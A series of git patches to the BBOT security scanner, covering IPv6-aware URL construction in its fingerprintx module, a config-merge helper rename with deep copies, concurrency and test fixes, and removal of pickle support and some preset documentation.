b/bbot/modules/fingerprintx.py @@ -78,7 +78,7 @@ async def handle_batch(self, *events): if not host and port and protocol: continue banner = j.get("metadata", {}).get("banner", "").strip() - port_data = f"{host}:{port}" + port_data = self.helpers.make_netloc(host, port) tags = set() parent_event = _input.get(port_data) protocol_data = {"host": host, "protocol": protocol} @@ -94,11 +94,12 @@ async def handle_batch(self, *events): context=f"{{module}} probed {port_data} and detected {{event.type}}: {protocol}", ) if protocol in ("HTTP", "HTTPS"): - netloc = f"{protocol.lower()}://{host}" - if port not in (80, 443): - netloc += f":{port}" + port_int = int(port) if port else None + is_default_port = (protocol == "HTTP" and port_int == 80) or (protocol == "HTTPS" and port_int == 443) + netloc = self.helpers.make_netloc(host, None if is_default_port else port_int) + url = f"{protocol.lower()}://{netloc}" await self.emit_event( - netloc, + url, "URL_UNVERIFIED", parent=parent_event, tags=tags, diff --git a/bbot/test/test_step_2/module_tests/test_module_fingerprintx.py b/bbot/test/test_step_2/module_tests/test_module_fingerprintx.py index 7e0cc3a169..286b4d3052 100644 --- a/bbot/test/test_step_2/module_tests/test_module_fingerprintx.py +++ b/bbot/test/test_step_2/module_tests/test_module_fingerprintx.py @@ -1,3 +1,5 @@ +import json + from .base import ModuleTestBase @@ -12,3 +14,55 @@ def check(self, module_test, events): and event.data["protocol"] == "HTTP" for event in events ), "HTTP protocol not detected" + + +class TestFingerprintxURLs(ModuleTestBase): + """Mocks fingerprintx output to verify URL_UNVERIFIED construction across IPv4/IPv6 and default/non-default ports.""" + + module_name = "fingerprintx" + targets = [ + "127.0.0.1:80", + "127.0.0.1:8443", + "[::1]:443", + "[::1]:8080", + ] + config_overrides = {"modules": {"fingerprintx": {"skip_common_web": False}}} + + # (host, port, protocol) -> what fingerprintx pretends to find + fake_results = [ + ("127.0.0.1", 80, "HTTP"), + ("127.0.0.1", 8443, "HTTPS"), + ("::1", 443, "HTTPS"), + ("::1", 8080, "HTTP"), + ] + + async def setup_after_prep(self, module_test): + results = self.fake_results + + async def fake_run_process_live(self, command, **kwargs): + for host, port, protocol in results: + yield json.dumps({"ip": host, "host": host, "port": port, "protocol": protocol}) + + module_test.monkeypatch.setattr(module_test.module.__class__, "run_process_live", fake_run_process_live) + + def check(self, module_test, events): + urls = {e.data["url"] for e in events if e.type == "URL_UNVERIFIED"} + expected = { + "http://127.0.0.1/", + "https://127.0.0.1:8443/", + "https://[::1]/", + "http://[::1]:8080/", + } + assert expected.issubset(urls), f"missing URLs; got {urls}" + + protocol_events = [e for e in events if e.type == "PROTOCOL"] + assert any( + e.host == module_test.scan.helpers.make_ip_type("::1") and e.port == 443 and e.data["protocol"] == "HTTPS" + for e in protocol_events + ), "IPv6 PROTOCOL event missing — parent lookup likely broken" + assert any( + e.host == module_test.scan.helpers.make_ip_type("127.0.0.1") + and e.port == 8443 + and e.data["protocol"] == "HTTPS" + for e in protocol_events + ), "IPv4 PROTOCOL event missing" From 9c1ea268cddd2cd70bdb59ca2a9e4030ef885a6f Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Thu, 30 Apr 2026 11:58:55 -0400 Subject: [PATCH 579/912] small improvements, rename deep_update -> deep_merge --- bbot/core/config/files.py | 4 ++-- bbot/core/config/merge.py | 25 ++++++++++++++++------ bbot/core/core.py | 8 +++---- bbot/test/bbot_fixtures.py | 4 ++-- bbot/test/test_step_2/module_tests/base.py | 6 +++--- 5 files changed, 29 insertions(+), 18 deletions(-) diff --git a/bbot/core/config/files.py b/bbot/core/config/files.py index b056fdd500..7814626f11 100644 --- a/bbot/core/config/files.py +++ b/bbot/core/config/files.py @@ -2,7 +2,7 @@ import yaml from pathlib import Path -from .merge import deep_update +from .merge import deep_merge from ...logger import log_to_stderr from ...errors import ConfigLoadError @@ -41,7 +41,7 @@ def _get_config(self, filename, name="config") -> dict: raise ConfigLoadError(f"Error parsing config at {filename}:\n\n{e}") def get_custom_config(self) -> dict: - return deep_update( + return deep_merge( self._get_config(self.config_filename, name="config"), self._get_config(self.secrets_filename, name="secrets"), ) diff --git a/bbot/core/config/merge.py b/bbot/core/config/merge.py index 735f803429..a59964995e 100644 --- a/bbot/core/config/merge.py +++ b/bbot/core/config/merge.py @@ -1,30 +1,34 @@ """ Deep-merge helpers replacing omegaconf's merge semantics. -`deep_update(a, b)` returns a new dict that is `a` with `b` merged in: nested +`deep_merge(a, b)` returns a new dict that is `a` with `b` merged in: nested dicts are merged recursively, leaf values (and lists) from `b` replace those in `a`. This matches `OmegaConf.merge(a, b)` for BBOT's preset layering use case. """ from __future__ import annotations +from copy import deepcopy from typing import Any -def deep_update(base: dict[str, Any], *updates: dict[str, Any]) -> dict[str, Any]: +def deep_merge(base: dict[str, Any] | None, *updates: dict[str, Any] | None) -> dict[str, Any]: """ Deep-merge one or more update dicts into a copy of `base`. Last wins on leaf conflicts; lists are replaced wholesale (not concatenated). + + The returned dict shares no mutable state with the inputs — nested dicts, + lists, and other mutable values are deep-copied as they're carried over. """ - result: dict[str, Any] = dict(base) if base else {} + result: dict[str, Any] = deepcopy(base) if base else {} for update in updates: if not update: continue for k, v in update.items(): if k in result and isinstance(result[k], dict) and isinstance(v, dict): - result[k] = deep_update(result[k], v) + result[k] = deep_merge(result[k], v) else: - result[k] = v + result[k] = deepcopy(v) return result @@ -32,6 +36,8 @@ def dotted_get(data: dict[str, Any], path: str, default: Any = None) -> Any: """ Look up a dotted path in a nested dict. + Note: keys containing literal `.` are not addressable (no escape syntax). + >>> dotted_get({"a": {"b": {"c": 1}}}, "a.b.c") 1 >>> dotted_get({"a": 1}, "a.b.c", default="x") @@ -49,6 +55,10 @@ def dotted_set(data: dict[str, Any], path: str, value: Any) -> None: """ Set a dotted path in a nested dict, creating intermediate dicts as needed. + Non-dict intermediates are silently replaced. This is intentional — + callers (CLI parsing) feed the result through pydantic validation, which + surfaces any resulting type mismatch. + >>> d = {} >>> dotted_set(d, "a.b.c", 1) >>> d @@ -65,7 +75,8 @@ def dotted_set(data: dict[str, Any], path: str, value: Any) -> None: def iter_dotted_paths(data: dict[str, Any], prefix: str = "") -> list[str]: """ - Yield every dotted leaf path in a nested dict. + Return every dotted leaf path in a nested dict. Empty dicts are treated + as leaves (so they round-trip through dotted_get/dotted_set). >>> iter_dotted_paths({"a": 1, "b": {"c": 2}}) ['a', 'b.c'] @@ -80,4 +91,4 @@ def iter_dotted_paths(data: dict[str, Any], prefix: str = "") -> list[str]: return paths -__all__ = ["deep_update", "dotted_get", "dotted_set", "iter_dotted_paths"] +__all__ = ["deep_merge", "dotted_get", "dotted_set", "iter_dotted_paths"] diff --git a/bbot/core/core.py b/bbot/core/core.py index 3084b16da6..26eda685ba 100644 --- a/bbot/core/core.py +++ b/bbot/core/core.py @@ -4,7 +4,7 @@ from pathlib import Path from bbot.errors import BBOTError -from .config.merge import deep_update +from .config.merge import deep_merge from .multiprocess import SHARED_INTERPRETER_STATE @@ -91,7 +91,7 @@ def config(self) -> dict: Any new values should be added to custom_config. """ if self._config is None: - self._config = deep_update(self.default_config, self.custom_config) + self._config = deep_merge(self.default_config, self.custom_config) return self._config @property @@ -158,11 +158,11 @@ def secrets_only_config(self, config): def merge_custom(self, config): """Merge a config dict into the custom config.""" - self.custom_config = deep_update(self.custom_config, dict(config) if config else {}) + self.custom_config = deep_merge(self.custom_config, dict(config) if config else {}) def merge_default(self, config): """Merge a config dict into the default config.""" - self.default_config = deep_update(self.default_config, dict(config) if config else {}) + self.default_config = deep_merge(self.default_config, dict(config) if config else {}) def copy(self): """ diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index afdb24c016..eb1ec3c61c 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -12,7 +12,7 @@ from bbot.errors import * # noqa: F401 from bbot.core import CORE -from bbot.core.config.merge import deep_update +from bbot.core.config.merge import deep_merge from bbot.scanner import Preset from bbot.core.helpers.misc import mkdir, rand_string @@ -49,7 +49,7 @@ def tempapkfile(): @pytest.fixture def clean_default_config(monkeypatch): - clean_config = deep_update( + clean_config = deep_merge( CORE.files_config.get_default_config(), {"modules": DEFAULT_PRESET.module_loader.configs()}, ) diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py index 0a30fc0054..0ee6971320 100644 --- a/bbot/test/test_step_2/module_tests/base.py +++ b/bbot/test/test_step_2/module_tests/base.py @@ -5,7 +5,7 @@ from ...bbot_fixtures import * from bbot.scanner import Scanner -from bbot.core.config.merge import deep_update +from bbot.core.config.merge import deep_merge from bbot.core.helpers.misc import rand_string log = logging.getLogger("bbot.test.modules") @@ -28,7 +28,7 @@ def __init__( self, module_test_base, httpx_mock, httpserver, httpserver_ssl, monkeypatch, request, caplog, capsys ): self.name = module_test_base.name - self.config = deep_update(dict(CORE.config), dict(module_test_base.config_overrides)) + self.config = deep_merge(dict(CORE.config), dict(module_test_base.config_overrides)) self.caplog = caplog self.capsys = capsys @@ -51,7 +51,7 @@ def __init__( if module_type == "output": output_modules.append(module) elif module_type == "internal" and not module == "dnsresolve": - self.config = deep_update(self.config, {module: True}) + self.config = deep_merge(self.config, {module: True}) seeds = module_test_base.seeds or None From bce3e4b939221654d61640120f2d76e74a045563 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Thu, 30 Apr 2026 13:52:42 -0400 Subject: [PATCH 580/912] remove env var interpolation docs --- docs/scanning/presets.md | 26 +------------------------- 1 file changed, 1 insertion(+), 25 deletions(-) diff --git a/docs/scanning/presets.md b/docs/scanning/presets.md index fc5e9426f8..dd176ede2f 100644 --- a/docs/scanning/presets.md +++ b/docs/scanning/presets.md @@ -122,7 +122,7 @@ bbot -p ./mypreset.yml --current-preset ## Advanced Usage -BBOT Presets support advanced features like file-based targets, environment variable substitution, and custom conditions. +BBOT Presets support advanced features like file-based targets, custom modules, and custom conditions. ### Files as Targets @@ -154,30 +154,6 @@ module_dirs: - /home/user/custom_modules ``` -### Environment Variables - -You can insert environment variables into your preset like this: `${env:}`: - -```yaml title="my_nuclei.yml" -description: Do a nuclei scan - -target: - - evilcorp.com - -modules: - - nuclei - -config: - modules: - nuclei: - # allow the nuclei templates to be specified at runtime via an environment variable - tags: ${env:NUCLEI_TAGS} -``` - -```bash -NUCLEI_TAGS=apache,nginx bbot -p ./my_nuclei.yml -``` - ### Conditions Sometimes, you might need to add custom logic to a preset. BBOT supports this via `conditions`. The `conditions` attribute allows you to specify a list of custom conditions that will be evaluated before the scan starts. This is useful for performing last-minute sanity checks, or changing the behavior of the scan based on custom criteria. From f5e4ded71726786c91b6c29fdc82d60fdb27ff41 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 1 May 2026 10:45:43 -0400 Subject: [PATCH 581/912] fix(test): parse baddns submodule source via file, not inspect.getsource MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit inspect.getsource(cls) relies on linecache heuristics that mis-anchor on Python 3.13+ and can return a single indented attribute line, which ast.parse rejects with IndentationError. Read the whole source file instead — each baddns submodule is one class per file. --- bbot/test/test_step_2/module_tests/test_module_baddns.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_baddns.py b/bbot/test/test_step_2/module_tests/test_module_baddns.py index 47d38d989b..ecda4f8824 100644 --- a/bbot/test/test_step_2/module_tests/test_module_baddns.py +++ b/bbot/test/test_step_2/module_tests/test_module_baddns.py @@ -16,7 +16,13 @@ def _extract_finding_values(module_cls): Returns (set of severity strings, set of confidence strings). """ - source = inspect.getsource(module_cls) + # Parse the whole source file rather than inspect.getsource(cls): the + # latter relies on linecache heuristics that can mis-anchor on Python + # 3.13+ and return a partial/indented fragment that fails to parse. + # Each baddns submodule is one class per file, so this is equivalent. + source_file = inspect.getsourcefile(module_cls) + with open(source_file) as f: + source = f.read() tree = ast.parse(source) severities = set() From e48e570f642867219046210b15a61a2451b3ccd4 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Fri, 1 May 2026 11:37:30 -0400 Subject: [PATCH 582/912] bring back baddns case insensitivity --- bbot/modules/baddns.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/bbot/modules/baddns.py b/bbot/modules/baddns.py index 45d2f28a93..713590ed9d 100644 --- a/bbot/modules/baddns.py +++ b/bbot/modules/baddns.py @@ -4,7 +4,7 @@ from .base import BaseModule import logging -from pydantic import Field +from pydantic import Field, field_validator from bbot.core.config.models import BaseModuleConfig SEVERITY_LEVELS = ("INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL") @@ -64,6 +64,11 @@ class Config(BaseModuleConfig): description="A list of submodules to enable. Empty list (default) enables CNAME, TXT and MX Only", ) + @field_validator("min_severity", "min_confidence", mode="before") + @classmethod + def _normalize_case(cls, v): + return v.upper() if isinstance(v, str) else v + module_threads = 8 deps_pip = ["baddns~=2.1.0"] From eca363bb10e3ce6a1258d9e554bbda8de368f113 Mon Sep 17 00:00:00 2001 From: TheTechromancer Date: Fri, 1 May 2026 12:11:38 -0400 Subject: [PATCH 583/912] allow field validators --- bbot/core/modules.py | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/bbot/core/modules.py b/bbot/core/modules.py index adeca4862f..5756848d92 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -61,15 +61,15 @@ def _exec_config_class(source: str, module_name: str): """ Execute a `class Config(BaseModuleConfig):` snippet in a controlled namespace and return the resulting class. The namespace provides exactly - what a Config block is allowed to reference: the typing primitives, the - pydantic `Field` factory, and `BaseModuleConfig`. + what a Config block is allowed to reference: the typing primitives, + pydantic's `Field` factory and validator decorators, and `BaseModuleConfig`. This replaces parsing annotations as strings: pydantic handles every valid type expression (`Optional[str]`, `Literal["a", "b"]`, `list[Union[int, str]]`, …) without any hand-rolled resolver. """ from typing import Any, Dict, List, Literal, Optional, Set, Tuple, Union - from pydantic import Field + from pydantic import AfterValidator, BeforeValidator, Field, field_validator, model_validator from bbot.core.config.models import BaseModuleConfig namespace: dict = { @@ -82,6 +82,10 @@ def _exec_config_class(source: str, module_name: str): "Tuple": Tuple, "Union": Union, "Field": Field, + "field_validator": field_validator, + "model_validator": model_validator, + "BeforeValidator": BeforeValidator, + "AfterValidator": AfterValidator, "BaseModuleConfig": BaseModuleConfig, } try: @@ -90,7 +94,8 @@ def _exec_config_class(source: str, module_name: str): raise BBOTError( f'module "{module_name}" has an invalid Config class ({type(e).__name__}: {e}). ' "Config blocks may only reference: Optional, Union, Literal, Any, List, Dict, Tuple, Set, " - "Field, BaseModuleConfig, and Python builtins." + "Field, field_validator, model_validator, BeforeValidator, AfterValidator, BaseModuleConfig, " + "and Python builtins." ) from e cfg = namespace.get("Config") if cfg is None: From f0d08e5dc98f552669ec824dad45e6ea341e389d Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 1 May 2026 13:47:36 -0400 Subject: [PATCH 584/912] Restore _task_counter on precheck/postcheck without re-introducing event-loop saturation MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Drop the asyncio.Lock from TaskCounter (single-threaded event loop, no awaits inside the protected region — the lock was pure overhead). With count() now yield-free, re-add the wrappers around precheck/postcheck in _events_waiting and BaseInterceptModule._worker so modules can't be marked finished while events are still mid-check. --- bbot/core/helpers/async_helpers.py | 22 ++++++---------------- bbot/modules/base.py | 11 ++++++++--- 2 files changed, 14 insertions(+), 19 deletions(-) diff --git a/bbot/core/helpers/async_helpers.py b/bbot/core/helpers/async_helpers.py index 8c95dc7981..4620dc8345 100644 --- a/bbot/core/helpers/async_helpers.py +++ b/bbot/core/helpers/async_helpers.py @@ -51,24 +51,20 @@ async def lock(self, name): class TaskCounter: def __init__(self): self.tasks = {} - self._lock = None @property def value(self): return sum([t.n for t in self.tasks.values()]) - @property - def lock(self): - if self._lock is None: - self._lock = asyncio.Lock() - return self._lock - def count(self, task_name, n=1, asyncio_task=None, _log=True): if callable(task_name): task_name = f"{task_name.__qualname__}()" return self.Task(self, task_name, n=n, _log=_log, asyncio_task=asyncio_task) class Task: + # asyncio is single-threaded, so the dict mutations below are safe without a lock. + # Keeping __aenter__/__aexit__ free of awaits means `async with counter.count(...)` resolves + # without yielding to the event loop — cheap enough for hot paths like precheck/postcheck. def __init__(self, manager, task_name, n=1, _log=True, asyncio_task=None): self.manager = manager self.task_name = task_name @@ -80,18 +76,12 @@ def __init__(self, manager, task_name, n=1, _log=True, asyncio_task=None): async def __aenter__(self): self.task_id = uuid.uuid4() - # if self.log: - # log.trace(f"Starting task {self.task_name} ({self.task_id})") - async with self.manager.lock: - self.start_time = time.time() - self.manager.tasks[self.task_id] = self + self.start_time = time.time() + self.manager.tasks[self.task_id] = self return self async def __aexit__(self, exc_type, exc_val, exc_tb): - async with self.manager.lock: - self.manager.tasks.pop(self.task_id, None) - # if self.log: - # log.trace(f"Finished task {self.task_name} ({self.task_id})") + self.manager.tasks.pop(self.task_id, None) @property def asyncio_task(self): diff --git a/bbot/modules/base.py b/bbot/modules/base.py index 90bdb4fee2..39b4064c88 100644 --- a/bbot/modules/base.py +++ b/bbot/modules/base.py @@ -662,7 +662,8 @@ async def _events_waiting(self, batch_size=None): try: event = self.incoming_event_queue.get_nowait() self.debug(f"Got {event} from {getattr(event, 'module', 'unknown_module')}") - acceptable, reason = await self._event_postcheck(event) + async with self._task_counter.count(f"event_postcheck({event})"): + acceptable, reason = await self._event_postcheck(event) if acceptable: if event.type == "FINISHED": finish = True @@ -1857,12 +1858,16 @@ async def _worker(self): continue acceptable = True - precheck_pass, reason = self._event_precheck(event) + # precheck/postcheck must be counted so the module isn't marked finished + # while events are mid-check (is_finished reads _task_counter.value) + async with self._task_counter.count(f"event_precheck({event})"): + precheck_pass, reason = self._event_precheck(event) if not precheck_pass: self.debug(f"Not intercepting {event} because precheck failed ({reason})") acceptable = False else: - postcheck_pass, reason = await self._event_postcheck(event) + async with self._task_counter.count(f"event_postcheck({event})"): + postcheck_pass, reason = await self._event_postcheck(event) if not postcheck_pass: self.debug(f"Not intercepting {event} because postcheck failed ({reason})") acceptable = False From f448bf4f1fcdb8f3709ab3017430cdf767bbf7ef Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 1 May 2026 14:23:38 -0400 Subject: [PATCH 585/912] Remove vestigial _ensure_minimal_target shim MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The shim was needed during the asn-as-targets / scope-rework work where Scanner.helpers fell back to self._unbaked_preset.helpers when self.preset was None. On this branch Scanner.__init__ synchronously bakes the preset, so by the time anyone reads .helpers the target already exists. Verified by sticking a raise inside _ensure_minimal_target and running step_1 + sample module tests + bbot --help/--list-modules — never fired. --- bbot/scanner/preset/preset.py | 23 ----------------------- 1 file changed, 23 deletions(-) diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 1ce57108c5..c6ab3a8220 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -588,34 +588,11 @@ def apply_log_level(self, apply_core=False): @property def helpers(self): if self._helpers is None: - # Ensure we have at least a minimal target object before any helper (especially web helpers) is constructed. - - self._ensure_minimal_target() from bbot.core.helpers.helper import ConfigAwareHelper self._helpers = ConfigAwareHelper(preset=self) return self._helpers - def _ensure_minimal_target(self): - """ - Lazily construct a minimal BBOTTarget from the current seeds / whitelist / blacklist if one does not already exist. - - This is intentionally lighter-weight than the full async target - preparation performed in `bake()` (which also calls - `target.generate_children()`). - """ - if self._target is not None: - return - - from bbot.scanner.target import BBOTTarget - - self._target = BBOTTarget( - *list(self._seeds), - whitelist=self._whitelist, # modify this after scope rework branch is merged into dev - blacklist=self._blacklist, - strict_scope=self.strict_scope, - ) - @property def module_loader(self): self.environ From 9f9124b29e08a8d8d472aa7c89d442b2b260a0af Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 1 May 2026 14:35:31 -0400 Subject: [PATCH 586/912] Remove BBOTTarget pickle support MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The HTTP engine subprocess that consumed pickled targets is gone — blasthttp runs in-process. Drop BaseTarget.__getstate__/__setstate__, ScanBlacklist.__setstate__, and the test_target_pickle round-trip test. --- bbot/scanner/target.py | 16 --------------- bbot/test/test_step_1/test_target.py | 30 ---------------------------- 2 files changed, 46 deletions(-) diff --git a/bbot/scanner/target.py b/bbot/scanner/target.py index 6c2417a8f7..fb925eb4a4 100644 --- a/bbot/scanner/target.py +++ b/bbot/scanner/target.py @@ -178,18 +178,6 @@ def __len__(self): def __bool__(self): return bool(len(self._rt)) or bool(self.event_seeds) - def __getstate__(self): - """Serialize for pickling — RadixTarget (PyO3) can't be pickled directly.""" - return { - "inputs": [str(e.input) for e in self.event_seeds], - "strict_scope": self.strict_scope, - "acl_mode": getattr(self._rt, "_acl_mode", False), - } - - def __setstate__(self, state): - """Reconstruct from pickled state.""" - self.__init__(*state["inputs"], strict_scope=state["strict_scope"], acl_mode=state.get("acl_mode", False)) - def __eq__(self, other): return self.hash == getattr(other, "hash", None) @@ -266,10 +254,6 @@ def __init__(self, *args, **kwargs): self.blacklist_regexes = set() super().__init__(*args, **kwargs) - def __setstate__(self, state): - self.blacklist_regexes = set() - super().__setstate__(state) - def get(self, host, **kwargs): """ Blacklists only accept IPs or strings. This is cleaner since we need to search for regex patterns. diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index 146211a438..30786b5b62 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -703,36 +703,6 @@ def counting_EventSeed(input): ) -def test_target_pickle(): - """BBOTTarget must survive pickle round-trips (used by HTTP engine subprocess).""" - import pickle - - from bbot.scanner.target import BBOTTarget - - target = BBOTTarget( - target=["evilcorp.com", "1.2.3.0/24"], - blacklist=["bad.evilcorp.com"], - strict_scope=False, - ) - - data = pickle.dumps(target) - restored = pickle.loads(data) - - # scope checks work after unpickling - assert restored.in_target("evilcorp.com") - assert restored.in_target("www.evilcorp.com") - assert restored.in_target("1.2.3.4") - assert not restored.in_target("9.9.9.9") - - # blacklist works after unpickling - assert restored.blacklisted("bad.evilcorp.com") - assert not restored.in_scope("bad.evilcorp.com") - assert restored.in_scope("good.evilcorp.com") - - # hashes match - assert target.hash == restored.hash - - def test_target_comments(): """Target strings support # comments — both full-line and inline.""" from bbot.scanner.target import BBOTTarget From 554feb40f77404a0c72dd8cf6eabc7d7b4ee4272 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 1 May 2026 14:36:14 -0400 Subject: [PATCH 587/912] Restore compact form of test_manager_scope_accuracy.py and harden ruff exemption The file was supposed to be excluded from ruff format (format.exclude lives in pyproject.toml), but explicit-file invocations (pre-commit etc.) bypass format.exclude unless force-exclude is also set. The file got re-expanded from ~900 to 3200 lines as a result. - Re-compact via ruff format with line-length=250 and skip-magic-trailing-comma - Set force-exclude=true so the existing format.exclude is honored even when the file is passed explicitly --- .../test_manager_scope_accuracy.py | 3022 ++--------------- pyproject.toml | 3 + 2 files changed, 345 insertions(+), 2680 deletions(-) diff --git a/bbot/test/test_step_1/test_manager_scope_accuracy.py b/bbot/test/test_step_1/test_manager_scope_accuracy.py index eeb3b714b4..84a011acc9 100644 --- a/bbot/test/test_step_1/test_manager_scope_accuracy.py +++ b/bbot/test/test_step_1/test_manager_scope_accuracy.py @@ -17,14 +17,7 @@ @pytest.fixture def bbot_other_httpservers(): - server_hosts = [ - ("127.0.0.77", 8888), - ("127.0.0.88", 8888), - ("127.0.0.99", 8888), - ("127.0.0.111", 8888), - ("127.0.0.222", 8889), - ("127.0.0.33", 8889), - ] + server_hosts = [("127.0.0.77", 8888), ("127.0.0.88", 8888), ("127.0.0.99", 8888), ("127.0.0.111", 8888), ("127.0.0.222", 8889), ("127.0.0.33", 8889)] servers = [HTTPServer(host=host, port=port, threaded=True) for host, port in server_hosts] for server in servers: @@ -41,9 +34,7 @@ def bbot_other_httpservers(): @pytest.mark.asyncio -async def test_manager_scope_accuracy_correct( - bbot_scanner, bbot_httpserver, bbot_other_httpservers, bbot_httpserver_ssl -): +async def test_manager_scope_accuracy_correct(bbot_scanner, bbot_httpserver, bbot_other_httpservers, bbot_httpserver_ssl): """ This test ensures that BBOT correctly handles different scope distance settings. It performs these tests for normal modules, output modules, and their graph variants, @@ -60,9 +51,7 @@ async def test_manager_scope_accuracy_correct( server_77.expect_request(uri="/").respond_with_data(response_data="") server_88.expect_request(uri="/").respond_with_data(response_data="") server_99.expect_request(uri="/").respond_with_data(response_data="") - server_111.expect_request(uri="/").respond_with_data( - response_data="" - ) + server_111.expect_request(uri="/").respond_with_data(response_data="") server_222.expect_request(uri="/").respond_with_data(response_data="") server_33.expect_request(uri="/").respond_with_data(response_data="") @@ -127,13 +116,7 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) output_events = [e async for e in scan.async_start()] # let modules initialize await asyncio.sleep(0.5) - return ( - output_events, - dummy_module.events, - dummy_module_nodupes.events, - dummy_graph_output_module.events, - dummy_graph_batch_output_module.events, - ) + return (output_events, dummy_module.events, dummy_module_nodupes.events, dummy_graph_output_module.events, dummy_graph_batch_output_module.events) dns_mock_chain = { "test.notreal": {"A": ["127.0.0.66"]}, @@ -145,20 +128,10 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) } # dns search distance = 1, report distance = 0 - events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - "test.notreal", - _config={"dns": {"minimal": False, "search_distance": 1}, "scope": {"report_distance": 0}}, - _dns_mock=dns_mock_chain, - ) + events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan("test.notreal", _config={"dns": {"minimal": False, "search_distance": 1}, "scope": {"report_distance": 0}}, _dns_mock=dns_mock_chain) assert len(events) == 3 - assert 1 == len( - [ - e - for e in events - if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66"]) assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notrealzies"]) assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "www.test.notreal"]) @@ -166,382 +139,100 @@ async def do_scan(*args, _config={}, _dns_mock={}, scan_callback=None, **kwargs) for _all_events in (all_events, all_events_nodups): assert len(_all_events) == 3 - assert 1 == len( - [ - e - for e in _all_events - if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 - ] - ) - assert 1 == len( - [ - e - for e in _all_events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is True and e.scope_distance == 1 - ] - ) + assert 1 == len([e for e in _all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in _all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66" and e.internal is True and e.scope_distance == 1]) assert 0 == len([e for e in _all_events if e.type == "DNS_NAME" and e.data == "test.notrealzies"]) assert 0 == len([e for e in _all_events if e.type == "DNS_NAME" and e.data == "www.test.notreal"]) assert 0 == len([e for e in _all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77"]) assert len(graph_output_events) == 3 - assert 1 == len( - [ - e - for e in graph_output_events - if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66"]) assert 0 == len([e for e in graph_output_events if e.type == "DNS_NAME" and e.data == "test.notrealzies"]) assert 0 == len([e for e in graph_output_events if e.type == "DNS_NAME" and e.data == "www.test.notreal"]) assert 0 == len([e for e in graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77"]) # dns search distance = 2, report distance = 0 - events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( - "test.notreal", - _config={"dns": {"minimal": False, "search_distance": 2}, "scope": {"report_distance": 0}}, - _dns_mock=dns_mock_chain, - ) + events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan("test.notreal", _config={"dns": {"minimal": False, "search_distance": 2}, "scope": {"report_distance": 0}}, _dns_mock=dns_mock_chain) assert len(events) == 4 - assert 1 == len( - [ - e - for e in events - if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.66"]) assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notrealzies"]) - assert 1 == len( - [ - e - for e in events - if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0 - ] - ) + assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "www.test.notreal" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77"]) assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test2.notrealzies"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"]) assert len(all_events) == 9 - assert 1 == len( - [ - e - for e in all_events - if e.type == "DNS_NAME" and e.data 